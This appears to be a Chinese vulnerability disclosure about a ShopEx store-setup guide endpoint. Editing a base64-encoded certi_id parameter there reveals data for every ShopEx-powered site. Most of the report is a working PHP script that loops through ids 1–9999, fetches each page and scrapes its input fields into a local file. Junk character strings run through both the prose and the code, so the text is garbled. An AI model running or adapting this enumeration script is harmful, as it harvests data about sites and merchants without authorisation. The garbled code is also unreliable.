ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
. r& f, q- L1 P$ I% _详细说明：
% _9 u7 U2 B6 e8 j1 U( ^! n/ O问题出现在shopex 网店使用向导页面
3 m$ R0 u6 z5 v) b' h" w  j

% f: k. A5 Z& K0 d( s" Q
& g* |: b! z$ Yhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



" X5 R3 e7 n" l1 q我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
8 q3 P3 K% e& [8 [  m
5 {( \' @7 j0 Q

<?php

                for ($i=1; $i < 10000; $i++) { //遍历

' Z* @2 O. _4 z3 L) g, C                        ShowshopExD($i);

- I; c/ S' ~2 W! ?# a                }

# y  a% L! [; K. ^* p- h3 ]                function ShowshopExD($cid) {

) `8 o9 r0 j1 L7 B, R2 T                $url='http://guide.ecos.shopex.cn/step2.php';
( W, ]8 C7 Y0 @2 r7 ~) K$ m- w; }) v- K6 |
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
) x; F- d7 j, }7 n6 d; z5 @. A6 r. X, ^
4 q" h, C" i( X        $url = $url.'?refer='.$refer;
' G0 N) k2 H3 j
8 e" C# L$ l3 o        $ch = curl_init($url);
2 N$ T( R4 e3 t/ |2 `
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
- ?: J! N. ]+ f6 V
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
" L2 L/ r* m( K( @8 w
7 Q. q( F! J1 M1 b+ V9 r- s3 r        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

: O  ]/ V8 ?0 m+ j- P; ]        if(strpos($result,$refer))

        {
. {$ [' L) |( p. o8 T
6 |1 d- }& A- a) [4 j                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
. o7 S! Q, A& ]% J; G% e$ b
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
8 G0 u0 E. _: }% I; L
                        echo $res[1][0].':'.$res[3][0]."\r\n";
2 j& J  F; C3 g0 d- Z' @
  F: o! r( @! j3 f  k$ `, |( h                        $col =$res[1][0].':'.$res[3][0]."\r\n";
7 o! p9 c- k. N
9 d7 B7 @& k$ e                        fwrite($fp, $col, strlen($col));

                }
( k  |4 Z0 z4 |0 l+ z
6 @0 {. p) N+ `, t' t                echo '--------------------------------'."\r\n";
. X" Z1 z- U$ X  M3 o5 ^8 G7 t
/ X* n# {& P. Y6 y. s                fclose($fp);
1 M8 O) u1 n- H1 n9 Y3 Q
        }
/ o+ w: y$ w/ z4 d) ?1 p% r! h
        flush();

        curl_close($ch);
5 ?3 W& B* A( h# t" B! T
1 [) M' [- G8 H1 w! j4 T/ T                }

?>
漏洞证明：
2 g9 ]5 C' Z" A! Ahttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式